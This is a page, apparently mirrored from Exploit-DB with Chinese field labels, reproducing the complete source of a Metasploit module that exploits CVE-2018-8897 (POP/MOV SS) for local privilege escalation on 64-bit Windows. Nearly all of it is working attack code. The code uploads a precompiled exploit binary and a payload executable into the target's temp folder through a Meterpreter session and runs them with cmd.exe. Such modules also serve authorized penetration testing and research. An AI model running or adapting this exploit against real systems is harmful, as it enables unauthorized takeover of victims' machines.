Microsoft Windows – POP/MOV SS Local Privilege Elevation (Metasploit)

  • 作者: Metasploit
    日期: 2018-07-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45024/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core/post/common'
    require 'msf/core/post/file'
    require 'msf/core/post/windows/priv'
    require 'msf/core/post/windows/registry'
    require 'msf/core/exploit/exe'
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::Common
    include Msf::Post::File
    include Msf::Post::Windows::Priv
    include Msf::Exploit::EXE
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
    'Description'=> %q{
    This module exploits a vulnerability in a statement in the system programming guide
    of the Intel 64 and IA-32 architectures software developer's manual being mishandled
    in various operating system kerneles, resulting in unexpected behavior for #DB
    excpetions that are deferred by MOV SS or POP SS.
    
    This module will upload the pre-compiled exploit and use it to execute the final
    payload in order to gain remote code execution.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Nick Peterson',# Original discovery (@nickeverdox)
    'Nemanja Mulasmajic', # Original discovery (@0xNemi)
    'Can Bölük <can1357>',# PoC
    'bwatters-r7' # msf module
    ],
    'Platform' => [ 'win' ],
    'SessionTypes' => [ 'meterpreter' ],
    'Targets'=>
    [
    [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
    ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'May 08 2018',
    'References' =>
    [
    ['CVE', '2018-8897'],
    ['EDB', '44697'],
    ['BID', '104071'],
    ['URL', 'https://github.com/can1357/CVE-2018-8897/'],
    ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
    ],
    'DefaultOptions' =>
    {
    'DisablePayloadHandler' => 'False'
    }
    ))
    
    register_options([
    OptString.new('EXPLOIT_NAME',
    [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
    OptString.new('PAYLOAD_NAME',
    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
    OptString.new('PATH',
    [false, 'Path to write binaries (%TEMP% by default).', nil]),
    OptInt.new('EXECUTE_DELAY',
    [false, 'The number of seconds to delay before executing the exploit', 3])
    ])
    end
    
    def setup
    super
    @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
    @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
    @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
    @payload_path = "#{temp_path}\\#{payload_name}"
    @exploit_path = "#{temp_path}\\#{exploit_name}"
    @payload_exe = generate_payload_exe
    end
    
    def validate_active_host
    begin
    host = session.session_host
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    raise Msf::Exploit::Failed, 'Could not connect to session'
    end
    end
    
    def validate_remote_path(path)
    unless directory?(path)
    fail_with(Failure::Unreachable, "#{path} does not exist on the target")
    end
    end
    
    def validate_target
    if sysinfo['Architecture'] == ARCH_X86
    fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
    if sysinfo['OS'] =~ /XP/
    fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
    end
    end
    
    def ensure_clean_destination(path)
    if file?(path)
    print_status("#{path} already exists on the target. Deleting...")
    begin
    file_rm(path)
    print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    print_error("Unable to delete #{path}")
    end
    end
    end
    
    def ensure_clean_exploit_destination
    ensure_clean_destination(exploit_path)
    end
    
    def ensure_clean_payload_destination
    ensure_clean_destination(payload_path)
    end
    
    def upload_exploit
    local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
    upload_file(exploit_path, local_exploit_path)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
    end
    
    def upload_payload
    write_file(payload_path, payload_exe)
    print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
    end
    
    def execute_exploit
    sleep(datastore['EXECUTE_DELAY'])
    print_status("Running exploit #{exploit_path} with payload #{payload_path}")
    output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
    vprint_status(output)
    end
    
    def exploit
    begin
    validate_active_host
    validate_target
    validate_remote_path(temp_path)
    ensure_clean_exploit_destination
    ensure_clean_payload_destination
    upload_exploit
    upload_payload
    execute_exploit
    rescue Rex::Post::Meterpreter::RequestError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    print_error(e.message)
    ensure_clean_exploit_destination
    ensure_clean_payload_destination
    end
    end
    
    attr_reader :exploit_name
    attr_reader :payload_name
    attr_reader :payload_exe
    attr_reader :temp_path
    attr_reader :payload_path
    attr_reader :exploit_path
    end